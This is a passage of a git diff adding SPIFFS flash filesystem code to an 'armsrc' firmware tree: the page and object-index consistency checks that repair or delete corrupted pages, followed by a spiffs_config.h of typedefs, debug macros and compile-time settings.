"_SPIPRIbl"\n", + // cur_pix, cur_block, SPIFFS_PAGES_PER_BLOCK(fs) * fs->block_count, fs->block_count); + + // read header + spiffs_page_header p_hdr; + res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_LU2 | SPIFFS_OP_C_READ, + 0, SPIFFS_PAGE_TO_PADDR(fs, cur_pix), sizeof(spiffs_page_header), (u8_t *)&p_hdr); + SPIFFS_CHECK_RES(res); + + u8_t within_range = (cur_pix >= pix_offset && cur_pix < pix_offset + pages_per_scan); + const u32_t pix_byte_ix = (cur_pix - pix_offset) / (8 / bits); + const u8_t pix_bit_ix = (cur_pix & ((8 / bits) - 1)) * bits; + + if (within_range && + (p_hdr.flags & SPIFFS_PH_FLAG_DELET) && (p_hdr.flags & SPIFFS_PH_FLAG_USED) == 0) { + // used + fs->work[pix_byte_ix] |= (1 << (pix_bit_ix + 0)); + } + if ((p_hdr.flags & SPIFFS_PH_FLAG_DELET) && + (p_hdr.flags & SPIFFS_PH_FLAG_IXDELE) && + (p_hdr.flags & (SPIFFS_PH_FLAG_INDEX | SPIFFS_PH_FLAG_USED)) == 0) { + // found non-deleted index + if (within_range) { + fs->work[pix_byte_ix] |= (1 << (pix_bit_ix + 2)); + } + + // load non-deleted index + res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_LU2 | SPIFFS_OP_C_READ, + 0, SPIFFS_PAGE_TO_PADDR(fs, cur_pix), SPIFFS_CFG_LOG_PAGE_SZ(fs), fs->lu_work); + SPIFFS_CHECK_RES(res); + + // traverse index for referenced pages + spiffs_page_ix *object_page_index; + spiffs_page_header *objix_p_hdr = (spiffs_page_header *)fs->lu_work; + + int entries; + int i; + spiffs_span_ix data_spix_offset; + if (p_hdr.span_ix == 0) { + // object header page index + entries = SPIFFS_OBJ_HDR_IX_LEN(fs); + data_spix_offset = 0; + object_page_index = (spiffs_page_ix *)((u8_t *)fs->lu_work + sizeof(spiffs_page_object_ix_header)); + } else { + // object page index + entries = SPIFFS_OBJ_IX_LEN(fs); + data_spix_offset = SPIFFS_OBJ_HDR_IX_LEN(fs) + SPIFFS_OBJ_IX_LEN(fs) * (p_hdr.span_ix - 1); + object_page_index = (spiffs_page_ix *)((u8_t *)fs->lu_work + sizeof(spiffs_page_object_ix)); + } + + // for all entries in index + for (i = 0; !restart && i < entries; i++) { + spiffs_page_ix rpix = object_page_index[i]; + u8_t rpix_within_range = rpix >= pix_offset && rpix < pix_offset + pages_per_scan; + + if ((rpix != (spiffs_page_ix) - 1 && rpix > SPIFFS_MAX_PAGES(fs)) + || (rpix_within_range && SPIFFS_IS_LOOKUP_PAGE(fs, rpix))) { + + // bad reference + SPIFFS_CHECK_DBG("PA: pix "_SPIPRIpg"x bad pix / LU referenced from page "_SPIPRIpg"\n", + rpix, cur_pix); + // check for data page elsewhere + spiffs_page_ix data_pix; + res = spiffs_obj_lu_find_id_and_span(fs, objix_p_hdr->obj_id & ~SPIFFS_OBJ_ID_IX_FLAG, + data_spix_offset + i, 0, &data_pix); + if (res == SPIFFS_ERR_NOT_FOUND) { + res = SPIFFS_OK; + data_pix = 0; + } + SPIFFS_CHECK_RES(res); + if (data_pix == 0) { + // if not, allocate free page + spiffs_page_header new_ph; + new_ph.flags = 0xff & ~(SPIFFS_PH_FLAG_USED | SPIFFS_PH_FLAG_FINAL); + new_ph.obj_id = objix_p_hdr->obj_id & ~SPIFFS_OBJ_ID_IX_FLAG; + new_ph.span_ix = data_spix_offset + i; + res = spiffs_page_allocate_data(fs, new_ph.obj_id, &new_ph, 0, 0, 0, 1, &data_pix); + SPIFFS_CHECK_RES(res); + SPIFFS_CHECK_DBG("PA: FIXUP: found no existing data page, created new @ "_SPIPRIpg"\n", data_pix); + } + // remap index + SPIFFS_CHECK_DBG("PA: FIXUP: rewriting index pix "_SPIPRIpg"\n", cur_pix); + res = spiffs_rewrite_index(fs, objix_p_hdr->obj_id | SPIFFS_OBJ_ID_IX_FLAG, + data_spix_offset + i, data_pix, cur_pix); + if (res <= _SPIFFS_ERR_CHECK_FIRST && res > _SPIFFS_ERR_CHECK_LAST) { + // index bad also, cannot mend this file + SPIFFS_CHECK_DBG("PA: FIXUP: index bad "_SPIPRIi", cannot mend - delete object\n", res); + CHECK_CB(fs, SPIFFS_CHECK_PAGE, SPIFFS_CHECK_DELETE_BAD_FILE, objix_p_hdr->obj_id, 0); + // delete file + res = spiffs_page_delete(fs, cur_pix); + } else { + CHECK_CB(fs, SPIFFS_CHECK_PAGE, SPIFFS_CHECK_FIX_INDEX, objix_p_hdr->obj_id, objix_p_hdr->span_ix); + } + SPIFFS_CHECK_RES(res); + restart = 1; + + } else if (rpix_within_range) { + + // valid reference + // read referenced page header + spiffs_page_header rp_hdr; + res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_LU2 | SPIFFS_OP_C_READ, + 0, SPIFFS_PAGE_TO_PADDR(fs, rpix), sizeof(spiffs_page_header), (u8_t *)&rp_hdr); + SPIFFS_CHECK_RES(res); + + // cross reference page header check + if (rp_hdr.obj_id != (p_hdr.obj_id & ~SPIFFS_OBJ_ID_IX_FLAG) || + rp_hdr.span_ix != data_spix_offset + i || + (rp_hdr.flags & (SPIFFS_PH_FLAG_DELET | SPIFFS_PH_FLAG_INDEX | SPIFFS_PH_FLAG_USED)) != + (SPIFFS_PH_FLAG_DELET | SPIFFS_PH_FLAG_INDEX)) { + SPIFFS_CHECK_DBG("PA: pix "_SPIPRIpg" has inconsistent page header ix id/span:"_SPIPRIid"/"_SPIPRIsp", ref id/span:"_SPIPRIid"/"_SPIPRIsp" flags:"_SPIPRIfl"\n", + rpix, p_hdr.obj_id & ~SPIFFS_OBJ_ID_IX_FLAG, data_spix_offset + i, + rp_hdr.obj_id, rp_hdr.span_ix, rp_hdr.flags); + // try finding correct page + spiffs_page_ix data_pix; + res = spiffs_obj_lu_find_id_and_span(fs, p_hdr.obj_id & ~SPIFFS_OBJ_ID_IX_FLAG, + data_spix_offset + i, rpix, &data_pix); + if (res == SPIFFS_ERR_NOT_FOUND) { + res = SPIFFS_OK; + data_pix = 0; + } + SPIFFS_CHECK_RES(res); + if (data_pix == 0) { + // not found, this index is badly borked + SPIFFS_CHECK_DBG("PA: FIXUP: index bad, delete object id "_SPIPRIid"\n", p_hdr.obj_id); + CHECK_CB(fs, SPIFFS_CHECK_PAGE, SPIFFS_CHECK_DELETE_BAD_FILE, p_hdr.obj_id, 0); + res = spiffs_delete_obj_lazy(fs, p_hdr.obj_id); + SPIFFS_CHECK_RES(res); + break; + } else { + // found it, so rewrite index + SPIFFS_CHECK_DBG("PA: FIXUP: found correct data pix "_SPIPRIpg", rewrite ix pix "_SPIPRIpg" id "_SPIPRIid"\n", + data_pix, cur_pix, p_hdr.obj_id); + res = spiffs_rewrite_index(fs, p_hdr.obj_id, data_spix_offset + i, data_pix, cur_pix); + if (res <= _SPIFFS_ERR_CHECK_FIRST && res > _SPIFFS_ERR_CHECK_LAST) { + // index bad also, cannot mend this file + SPIFFS_CHECK_DBG("PA: FIXUP: index bad "_SPIPRIi", cannot mend!\n", res); + CHECK_CB(fs, SPIFFS_CHECK_PAGE, SPIFFS_CHECK_DELETE_BAD_FILE, p_hdr.obj_id, 0); + res = spiffs_delete_obj_lazy(fs, p_hdr.obj_id); + } else { + CHECK_CB(fs, SPIFFS_CHECK_PAGE, SPIFFS_CHECK_FIX_INDEX, p_hdr.obj_id, p_hdr.span_ix); + } + SPIFFS_CHECK_RES(res); + restart = 1; + } + } else { + // mark rpix as referenced + const u32_t rpix_byte_ix = (rpix - pix_offset) / (8 / bits); + const u8_t rpix_bit_ix = (rpix & ((8 / bits) - 1)) * bits; + if (fs->work[rpix_byte_ix] & (1 << (rpix_bit_ix + 1))) { + SPIFFS_CHECK_DBG("PA: pix "_SPIPRIpg" multiple referenced from page "_SPIPRIpg"\n", + rpix, cur_pix); + // Here, we should have fixed all broken references - getting this means there + // must be multiple files with same object id. Only solution is to delete + // the object which is referring to this page + SPIFFS_CHECK_DBG("PA: FIXUP: removing object "_SPIPRIid" and page "_SPIPRIpg"\n", + p_hdr.obj_id, cur_pix); + CHECK_CB(fs, SPIFFS_CHECK_PAGE, SPIFFS_CHECK_DELETE_BAD_FILE, p_hdr.obj_id, 0); + res = spiffs_delete_obj_lazy(fs, p_hdr.obj_id); + SPIFFS_CHECK_RES(res); + // extra precaution, delete this page also + res = spiffs_page_delete(fs, cur_pix); + SPIFFS_CHECK_RES(res); + restart = 1; + } + fs->work[rpix_byte_ix] |= (1 << (rpix_bit_ix + 1)); + } + } + } // for all index entries + } // found index + + // next page + cur_pix++; + } + // next block + cur_block++; + } + // check consistency bitmap + if (!restart) { + spiffs_page_ix objix_pix; + spiffs_page_ix rpix; + + u32_t byte_ix; + u8_t bit_ix; + for (byte_ix = 0; !restart && byte_ix < SPIFFS_CFG_LOG_PAGE_SZ(fs); byte_ix++) { + for (bit_ix = 0; !restart && bit_ix < 8 / bits; bit_ix ++) { + u8_t bitmask = (fs->work[byte_ix] >> (bit_ix * bits)) & 0x7; + spiffs_page_ix cur_pix = pix_offset + byte_ix * (8 / bits) + bit_ix; + + // 000 ok - free, unreferenced, not index + + if (bitmask == 0x1) { + + // 001 + SPIFFS_CHECK_DBG("PA: pix "_SPIPRIpg" USED, UNREFERENCED, not index\n", cur_pix); + + u8_t rewrite_ix_to_this = 0; + u8_t delete_page = 0; + // check corresponding object index entry + spiffs_page_header p_hdr; + res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_LU2 | SPIFFS_OP_C_READ, + 0, SPIFFS_PAGE_TO_PADDR(fs, cur_pix), sizeof(spiffs_page_header), (u8_t *)&p_hdr); + SPIFFS_CHECK_RES(res); + + res = spiffs_object_get_data_page_index_reference(fs, p_hdr.obj_id, p_hdr.span_ix, + &rpix, &objix_pix); + if (res == SPIFFS_OK) { + if (((rpix == (spiffs_page_ix) - 1 || rpix > SPIFFS_MAX_PAGES(fs)) || (SPIFFS_IS_LOOKUP_PAGE(fs, rpix)))) { + // pointing to a bad page altogether, rewrite index to this + rewrite_ix_to_this = 1; + SPIFFS_CHECK_DBG("PA: corresponding ref is bad: "_SPIPRIpg", rewrite to this "_SPIPRIpg"\n", rpix, cur_pix); + } else { + // pointing to something else, check what + spiffs_page_header rp_hdr; + res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_LU2 | SPIFFS_OP_C_READ, + 0, SPIFFS_PAGE_TO_PADDR(fs, rpix), sizeof(spiffs_page_header), (u8_t *)&rp_hdr); + SPIFFS_CHECK_RES(res); + if (((p_hdr.obj_id & ~SPIFFS_OBJ_ID_IX_FLAG) == rp_hdr.obj_id) && + ((rp_hdr.flags & (SPIFFS_PH_FLAG_INDEX | SPIFFS_PH_FLAG_DELET | SPIFFS_PH_FLAG_USED | SPIFFS_PH_FLAG_FINAL)) == + (SPIFFS_PH_FLAG_INDEX | SPIFFS_PH_FLAG_DELET))) { + // pointing to something else valid, just delete this page then + SPIFFS_CHECK_DBG("PA: corresponding ref is good but different: "_SPIPRIpg", delete this "_SPIPRIpg"\n", rpix, cur_pix); + delete_page = 1; + } else { + // pointing to something weird, update index to point to this page instead + if (rpix != cur_pix) { + SPIFFS_CHECK_DBG("PA: corresponding ref is weird: "_SPIPRIpg" %s%s%s%s, rewrite this "_SPIPRIpg"\n", rpix, + (rp_hdr.flags & SPIFFS_PH_FLAG_INDEX) ? "" : "INDEX ", + (rp_hdr.flags & SPIFFS_PH_FLAG_DELET) ? "" : "DELETED ", + (rp_hdr.flags & SPIFFS_PH_FLAG_USED) ? "NOTUSED " : "", + (rp_hdr.flags & SPIFFS_PH_FLAG_FINAL) ? "NOTFINAL " : "", + cur_pix); + rewrite_ix_to_this = 1; + } else { + // should not happen, destined for fubar + } + } + } + } else if (res == SPIFFS_ERR_NOT_FOUND) { + SPIFFS_CHECK_DBG("PA: corresponding ref not found, delete "_SPIPRIpg"\n", cur_pix); + delete_page = 1; + res = SPIFFS_OK; + } + + if (rewrite_ix_to_this) { + // if pointing to invalid page, redirect index to this page + SPIFFS_CHECK_DBG("PA: FIXUP: rewrite index id "_SPIPRIid" data spix "_SPIPRIsp" to point to this pix: "_SPIPRIpg"\n", + p_hdr.obj_id, p_hdr.span_ix, cur_pix); + res = spiffs_rewrite_index(fs, p_hdr.obj_id, p_hdr.span_ix, cur_pix, objix_pix); + if (res <= _SPIFFS_ERR_CHECK_FIRST && res > _SPIFFS_ERR_CHECK_LAST) { + // index bad also, cannot mend this file + SPIFFS_CHECK_DBG("PA: FIXUP: index bad "_SPIPRIi", cannot mend!\n", res); + CHECK_CB(fs, SPIFFS_CHECK_PAGE, SPIFFS_CHECK_DELETE_BAD_FILE, p_hdr.obj_id, 0); + res = spiffs_page_delete(fs, cur_pix); + SPIFFS_CHECK_RES(res); + res = spiffs_delete_obj_lazy(fs, p_hdr.obj_id); + } else { + CHECK_CB(fs, SPIFFS_CHECK_PAGE, SPIFFS_CHECK_FIX_INDEX, p_hdr.obj_id, p_hdr.span_ix); + } + SPIFFS_CHECK_RES(res); + restart = 1; + continue; + } else if (delete_page) { + SPIFFS_CHECK_DBG("PA: FIXUP: deleting page "_SPIPRIpg"\n", cur_pix); + CHECK_CB(fs, SPIFFS_CHECK_PAGE, SPIFFS_CHECK_DELETE_PAGE, cur_pix, 0); + res = spiffs_page_delete(fs, cur_pix); + } + SPIFFS_CHECK_RES(res); + } + if (bitmask == 0x2) { + + // 010 + SPIFFS_CHECK_DBG("PA: pix "_SPIPRIpg" FREE, REFERENCED, not index\n", cur_pix); + + // no op, this should be taken care of when checking valid references + } + + // 011 ok - busy, referenced, not index + + if (bitmask == 0x4) { + + // 100 + SPIFFS_CHECK_DBG("PA: pix "_SPIPRIpg" FREE, unreferenced, INDEX\n", cur_pix); + + // this should never happen, major fubar + } + + // 101 ok - busy, unreferenced, index + + if (bitmask == 0x6) { + + // 110 + SPIFFS_CHECK_DBG("PA: pix "_SPIPRIpg" FREE, REFERENCED, INDEX\n", cur_pix); + + // no op, this should be taken care of when checking valid references + } + if (bitmask == 0x7) { + + // 111 + SPIFFS_CHECK_DBG("PA: pix "_SPIPRIpg" USED, REFERENCED, INDEX\n", cur_pix); + + // no op, this should be taken care of when checking valid references + } + } + } + } + + SPIFFS_CHECK_DBG("PA: processed "_SPIPRIpg", restart "_SPIPRIi"\n", pix_offset, restart); + // next page range + if (!restart) { + pix_offset += pages_per_scan; + } + } // while page range not reached end + return res; +} + +// Checks consistency amongst all pages and fixes irregularities +s32_t spiffs_page_consistency_check(spiffs *fs) { + CHECK_CB(fs, SPIFFS_CHECK_PAGE, SPIFFS_CHECK_PROGRESS, 0, 0); + s32_t res = spiffs_page_consistency_check_i(fs); + if (res != SPIFFS_OK) { + CHECK_CB(fs, SPIFFS_CHECK_PAGE, SPIFFS_CHECK_ERROR, res, 0); + } + CHECK_CB(fs, SPIFFS_CHECK_PAGE, SPIFFS_CHECK_PROGRESS, 256, 0); + return res; +} + +//--------------------------------------- +// Object index consistency + +// searches for given object id in temporary object id index, +// returns the index or -1 +static int spiffs_object_index_search(spiffs *fs, spiffs_obj_id obj_id) { + u32_t i; + spiffs_obj_id *obj_table = (spiffs_obj_id *)fs->work; + obj_id &= ~SPIFFS_OBJ_ID_IX_FLAG; + for (i = 0; i < SPIFFS_CFG_LOG_PAGE_SZ(fs) / sizeof(spiffs_obj_id); i++) { + if ((obj_table[i] & ~SPIFFS_OBJ_ID_IX_FLAG) == obj_id) { + return i; + } + } + return -1; +} + +static s32_t spiffs_object_index_consistency_check_v(spiffs *fs, spiffs_obj_id obj_id, spiffs_block_ix cur_block, + int cur_entry, const void *user_const_p, void *user_var_p) { + (void)user_const_p; + s32_t res_c = SPIFFS_VIS_COUNTINUE; + s32_t res = SPIFFS_OK; + u32_t *log_ix = (u32_t *)user_var_p; + spiffs_obj_id *obj_table = (spiffs_obj_id *)fs->work; + + CHECK_CB(fs, SPIFFS_CHECK_INDEX, SPIFFS_CHECK_PROGRESS, + (cur_block * 256) / fs->block_count, 0); + + if (obj_id != SPIFFS_OBJ_ID_FREE && obj_id != SPIFFS_OBJ_ID_DELETED && (obj_id & SPIFFS_OBJ_ID_IX_FLAG)) { + spiffs_page_header p_hdr; + spiffs_page_ix cur_pix = SPIFFS_OBJ_LOOKUP_ENTRY_TO_PIX(fs, cur_block, cur_entry); + + // load header + res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_LU2 | SPIFFS_OP_C_READ, + 0, SPIFFS_PAGE_TO_PADDR(fs, cur_pix), sizeof(spiffs_page_header), (u8_t *)&p_hdr); + SPIFFS_CHECK_RES(res); + + if (p_hdr.span_ix == 0 && + (p_hdr.flags & (SPIFFS_PH_FLAG_INDEX | SPIFFS_PH_FLAG_FINAL | SPIFFS_PH_FLAG_DELET | SPIFFS_PH_FLAG_IXDELE)) == + (SPIFFS_PH_FLAG_DELET)) { + SPIFFS_CHECK_DBG("IX: pix "_SPIPRIpg", obj id:"_SPIPRIid" spix:"_SPIPRIsp" header not fully deleted - deleting\n", + cur_pix, obj_id, p_hdr.span_ix); + CHECK_CB(fs, SPIFFS_CHECK_INDEX, SPIFFS_CHECK_DELETE_PAGE, cur_pix, obj_id); + res = spiffs_page_delete(fs, cur_pix); + SPIFFS_CHECK_RES(res); + return res_c; + } + + if ((p_hdr.flags & (SPIFFS_PH_FLAG_INDEX | SPIFFS_PH_FLAG_FINAL | SPIFFS_PH_FLAG_DELET | SPIFFS_PH_FLAG_IXDELE)) == + (SPIFFS_PH_FLAG_DELET | SPIFFS_PH_FLAG_IXDELE)) { + return res_c; + } + + if (p_hdr.span_ix == 0) { + // objix header page, register objid as reachable + int r = spiffs_object_index_search(fs, obj_id); + if (r == -1) { + // not registered, do it + obj_table[*log_ix] = obj_id & ~SPIFFS_OBJ_ID_IX_FLAG; + (*log_ix)++; + if (*log_ix >= SPIFFS_CFG_LOG_PAGE_SZ(fs) / sizeof(spiffs_obj_id)) { + *log_ix = 0; + } + } + } else { // span index + // objix page, see if header can be found + int r = spiffs_object_index_search(fs, obj_id); + u8_t delete = 0; + if (r == -1) { + // not in temporary index, try finding it + spiffs_page_ix objix_hdr_pix; + res = spiffs_obj_lu_find_id_and_span(fs, obj_id | SPIFFS_OBJ_ID_IX_FLAG, 0, 0, &objix_hdr_pix); + res_c = SPIFFS_VIS_COUNTINUE_RELOAD; + if (res == SPIFFS_OK) { + // found, register as reachable + obj_table[*log_ix] = obj_id & ~SPIFFS_OBJ_ID_IX_FLAG; + } else if (res == SPIFFS_ERR_NOT_FOUND) { + // not found, register as unreachable + delete = 1; + obj_table[*log_ix] = obj_id | SPIFFS_OBJ_ID_IX_FLAG; + } else { + SPIFFS_CHECK_RES(res); + } + (*log_ix)++; + if (*log_ix >= SPIFFS_CFG_LOG_PAGE_SZ(fs) / sizeof(spiffs_obj_id)) { + *log_ix = 0; + } + } else { + // in temporary index, check reachable flag + if ((obj_table[r] & SPIFFS_OBJ_ID_IX_FLAG)) { + // registered as unreachable + delete = 1; + } + } + + if (delete) { + SPIFFS_CHECK_DBG("IX: FIXUP: pix "_SPIPRIpg", obj id:"_SPIPRIid" spix:"_SPIPRIsp" is orphan index - deleting\n", + cur_pix, obj_id, p_hdr.span_ix); + CHECK_CB(fs, SPIFFS_CHECK_INDEX, SPIFFS_CHECK_DELETE_ORPHANED_INDEX, cur_pix, obj_id); + res = spiffs_page_delete(fs, cur_pix); + SPIFFS_CHECK_RES(res); + } + } // span index + } // valid object index id + + return res_c; +} + +// Removes orphaned and partially deleted index pages. +// Scans for index pages. When an index page is found, corresponding index header is searched for. +// If no such page exists, the index page cannot be reached as no index header exists and must be +// deleted. +s32_t spiffs_object_index_consistency_check(spiffs *fs) { + s32_t res = SPIFFS_OK; + // impl note: + // fs->work is used for a temporary object index memory, listing found object ids and + // indicating whether they can be reached or not. Acting as a fifo if object ids cannot fit. + // In the temporary object index memory, SPIFFS_OBJ_ID_IX_FLAG bit is used to indicate + // a reachable/unreachable object id. + memset(fs->work, 0, SPIFFS_CFG_LOG_PAGE_SZ(fs)); + u32_t obj_id_log_ix = 0; + CHECK_CB(fs, SPIFFS_CHECK_INDEX, SPIFFS_CHECK_PROGRESS, 0, 0); + res = spiffs_obj_lu_find_entry_visitor(fs, 0, 0, 0, 0, spiffs_object_index_consistency_check_v, 0, &obj_id_log_ix, + 0, 0); + if (res == SPIFFS_VIS_END) { + res = SPIFFS_OK; + } + if (res != SPIFFS_OK) { + CHECK_CB(fs, SPIFFS_CHECK_INDEX, SPIFFS_CHECK_ERROR, res, 0); + } + CHECK_CB(fs, SPIFFS_CHECK_INDEX, SPIFFS_CHECK_PROGRESS, 256, 0); + return res; +} + +#endif // !SPIFFS_READ_ONLY diff --git a/armsrc/spiffs_config.h b/armsrc/spiffs_config.h new file mode 100644 index 000000000..7710a65a8 --- /dev/null +++ b/armsrc/spiffs_config.h @@ -0,0 +1,388 @@ +/* + * spiffs_config.h + * + * Created on: Jul 3, 2013 + * Author: petera + */ + +#ifndef SPIFFS_CONFIG_H_ +#define SPIFFS_CONFIG_H_ + +// ----------- 8< ------------ +// Following includes are for the linux test build of spiffs +// These may/should/must be removed/altered/replaced in your target +//#include +//#include +// +#include "printf.h" +#include "string.h" +#include "flashmem.h" + +void Dbprintf(const char *fmt, ...); + +//#include +//#include +// ----------- >8 ------------ + + +typedef int s32_t; +typedef uint32_t u32_t; +typedef int16_t s16_t; +typedef uint16_t u16_t; +typedef int8_t s8_t; +typedef uint8_t u8_t; + +// compile time switches + +// Set generic spiffs debug output call. +#ifndef SPIFFS_DBG +#define SPIFFS_DBG(_f, ...) //Dbprintf(_f, ## __VA_ARGS__) +#define SPIFFS_DBGF(str) SPIFFS_DBG(str,NULL) +#endif +// Set spiffs debug output call for garbage collecting. +#ifndef SPIFFS_GC_DBG +#define SPIFFS_GC_DBG(_f, ...) //Dbprintf(_f, ## __VA_ARGS__) +#define SPIFFS_GC_DBGF(str) SPIFFS_GC_DBG(str,NULL) +#endif +// Set spiffs debug output call for caching. +#ifndef SPIFFS_CACHE_DBG +#define SPIFFS_CACHE_DBG(_f, ...) //Dbprintf(_f, ## __VA_ARGS__) +#define SPIFFS_CACHE_DBGF(str) SPIFFS_CACHE_DBG(str,NULL) +#endif +// Set spiffs debug output call for system consistency checks. +#ifndef SPIFFS_CHECK_DBG +#define SPIFFS_CHECK_DBG(_f, ...) //Dbprintf(_f, ## __VA_ARGS__) +#define SPIFFS_CHECK_DBGF(str) SPIFFS_CHECK_DBG(str,NULL) +#endif +// Set spiffs debug output call for all api invocations. +#ifndef SPIFFS_API_DBG +#define SPIFFS_API_DBG(_f, ...) //Dbprintf(_f, ## __VA_ARGS__) +#define SPIFFS_API_DBGF(str) SPIFFS_API_DBG(str,NULL) +#endif + + + +// Defines spiffs debug print formatters +// some general signed number +#ifndef _SPIPRIi +#define _SPIPRIi "%d" +#endif +// address +#ifndef _SPIPRIad +#define _SPIPRIad "%08x" +#endif +// block +#ifndef _SPIPRIbl +#define _SPIPRIbl "%04x" +#endif +// page +#ifndef _SPIPRIpg +#define _SPIPRIpg "%04x" +#endif +// span index +#ifndef _SPIPRIsp +#define _SPIPRIsp "%04x" +#endif +// file descriptor +#ifndef _SPIPRIfd +#define _SPIPRIfd "%d" +#endif +// file object id +#ifndef _SPIPRIid +#define _SPIPRIid "%04x" +#endif +// file flags +#ifndef _SPIPRIfl +#define _SPIPRIfl "%02x" +#endif + + +// Enable/disable API functions to determine exact number of bytes +// for filedescriptor and cache buffers. Once decided for a configuration, +// this can be disabled to reduce flash. +#ifndef SPIFFS_BUFFER_HELP +#define SPIFFS_BUFFER_HELP 0 +#endif + +// Enables/disable memory read caching of nucleus file system operations. +// If enabled, memory area must be provided for cache in SPIFFS_mount. +#ifndef SPIFFS_CACHE +#define SPIFFS_CACHE 1 +#endif +#if SPIFFS_CACHE +// Enables memory write caching for file descriptors in hydrogen +#ifndef SPIFFS_CACHE_WR +#define SPIFFS_CACHE_WR 1 +#endif + +// Enable/disable statistics on caching. Debug/test purpose only. +#ifndef SPIFFS_CACHE_STATS +#define SPIFFS_CACHE_STATS 0 +#endif +#endif + +// Always check header of each accessed page to ensure consistent state. +// If enabled it will increase number of reads, will increase flash. +#ifndef SPIFFS_PAGE_CHECK +#define SPIFFS_PAGE_CHECK 0 +#endif + +// Define maximum number of gc runs to perform to reach desired free pages. +#ifndef SPIFFS_GC_MAX_RUNS +#define SPIFFS_GC_MAX_RUNS 5 +#endif + +// Enable/disable statistics on gc. Debug/test purpose only. +#ifndef SPIFFS_GC_STATS +#define SPIFFS_GC_STATS 0 +#endif + +// Garbage collecting examines all pages in a block which and sums up +// to a block score. Deleted pages normally gives positive score and +// used pages normally gives a negative score (as these must be moved). +// To have a fair wear-leveling, the erase age is also included in score, +// whose factor normally is the most positive. +// The larger the score, the more likely it is that the block will +// picked for garbage collection. + +// Garbage collecting heuristics - weight used for deleted pages. +#ifndef SPIFFS_GC_HEUR_W_DELET +#define SPIFFS_GC_HEUR_W_DELET (5) +#endif +// Garbage collecting heuristics - weight used for used pages. +#ifndef SPIFFS_GC_HEUR_W_USED +#define SPIFFS_GC_HEUR_W_USED (-1) +#endif +// Garbage collecting heuristics - weight used for time between +// last erased and erase of this block. +#ifndef SPIFFS_GC_HEUR_W_ERASE_AGE +#define SPIFFS_GC_HEUR_W_ERASE_AGE (50) +#endif + +// Object name maximum length. Note that this length include the +// zero-termination character, meaning maximum string of characters +// can at most be SPIFFS_OBJ_NAME_LEN - 1. +#ifndef SPIFFS_OBJ_NAME_LEN +#define SPIFFS_OBJ_NAME_LEN (32) +#endif + +// Maximum length of the metadata associated with an object. +// Setting to non-zero value enables metadata-related API but also +// changes the on-disk format, so the change is not backward-compatible. +// +// Do note: the meta length must never exceed +// logical_page_size - (SPIFFS_OBJ_NAME_LEN + 64) +// +// This is derived from following: +// logical_page_size - (SPIFFS_OBJ_NAME_LEN + sizeof(spiffs_page_header) + +// spiffs_object_ix_header fields + at least some LUT entries) +#ifndef SPIFFS_OBJ_META_LEN +#define SPIFFS_OBJ_META_LEN (0) +#endif + +// Size of buffer allocated on stack used when copying data. +// Lower value generates more read/writes. No meaning having it bigger +// than logical page size. +#ifndef SPIFFS_COPY_BUFFER_STACK +#define SPIFFS_COPY_BUFFER_STACK (256) +#endif + +// Enable this to have an identifiable spiffs filesystem. This will look for +// a magic in all sectors to determine if this is a valid spiffs system or +// not on mount point. If not, SPIFFS_format must be called prior to mounting +// again. +#ifndef SPIFFS_USE_MAGIC +#define SPIFFS_USE_MAGIC (0) +#endif + +#if SPIFFS_USE_MAGIC +// Only valid when SPIFFS_USE_MAGIC is enabled. If SPIFFS_USE_MAGIC_LENGTH is +// enabled, the magic will also be dependent on the length of the filesystem. +// For example, a filesystem configured and formatted for 4 megabytes will not +// be accepted for mounting with a configuration defining the filesystem as 2 +// megabytes. +#ifndef SPIFFS_USE_MAGIC_LENGTH +#define SPIFFS_USE_MAGIC_LENGTH (0) +#endif +#endif + +// SPIFFS_LOCK and SPIFFS_UNLOCK protects spiffs from reentrancy on api level +// These should be defined on a multithreaded system + +// define this to enter a mutex if you're running on a multithreaded system +#ifndef SPIFFS_LOCK +#define SPIFFS_LOCK(fs) +#endif +// define this to exit a mutex if you're running on a multithreaded system +#ifndef SPIFFS_UNLOCK +#define SPIFFS_UNLOCK(fs) +#endif + +// Enable if only one spiffs instance with constant configuration will exist +// on the target. This will reduce calculations, flash and memory accesses. +// Parts of configuration must be defined below instead of at time of mount. +#ifndef SPIFFS_SINGLETON +#define SPIFFS_SINGLETON (1) +#endif + +#if SPIFFS_SINGLETON +// Instead of giving parameters in config struct, singleton build must +// give parameters in defines below. +#ifndef SPIFFS_CFG_PHYS_SZ +#define SPIFFS_CFG_PHYS_SZ(ignore) (1024*128) +#endif +#ifndef SPIFFS_CFG_PHYS_ERASE_SZ +#define SPIFFS_CFG_PHYS_ERASE_SZ(ignore) (4*1024) +#endif +#ifndef SPIFFS_CFG_PHYS_ADDR +#define SPIFFS_CFG_PHYS_ADDR(ignore) (0) +#endif +#ifndef SPIFFS_CFG_LOG_PAGE_SZ +#define SPIFFS_CFG_LOG_PAGE_SZ(ignore) (256) +#endif +#ifndef SPIFFS_CFG_LOG_BLOCK_SZ +#define SPIFFS_CFG_LOG_BLOCK_SZ(ignore) (4*1024) +#endif +#endif + +// Enable this if your target needs aligned data for index tables +#ifndef SPIFFS_ALIGNED_OBJECT_INDEX_TABLES +#define SPIFFS_ALIGNED_OBJECT_INDEX_TABLES 1 +#endif + +// Enable this if you want the HAL callbacks to be called with the spiffs struct +#ifndef SPIFFS_HAL_CALLBACK_EXTRA +#define SPIFFS_HAL_CALLBACK_EXTRA 0 +#endif + +// Enable this if you want to add an integer offset to all file handles +// (spiffs_file). This is useful if running multiple instances of spiffs on +// same target, in order to recognise to what spiffs instance a file handle +// belongs. +// NB: This adds config field fh_ix_offset in the configuration struct when +// mounting, which must be defined. +#ifndef SPIFFS_FILEHDL_OFFSET +#define SPIFFS_FILEHDL_OFFSET 0 +#endif + +// Enable this to compile a read only version of spiffs. +// This will reduce binary size of spiffs. All code comprising modification +// of the file system will not be compiled. Some config will be ignored. +// HAL functions for erasing and writing to spi-flash may be null. Cache +// can be disabled for even further binary size reduction (and ram savings). +// Functions modifying the fs will return SPIFFS_ERR_RO_NOT_IMPL. +// If the file system cannot be mounted due to aborted erase operation and +// SPIFFS_USE_MAGIC is enabled, SPIFFS_ERR_RO_ABORTED_OPERATION will be +// returned. +// Might be useful for e.g. bootloaders and such. +#ifndef SPIFFS_READ_ONLY +#define SPIFFS_READ_ONLY 0 +#endif + +// Enable this to add a temporal file cache using the fd buffer. 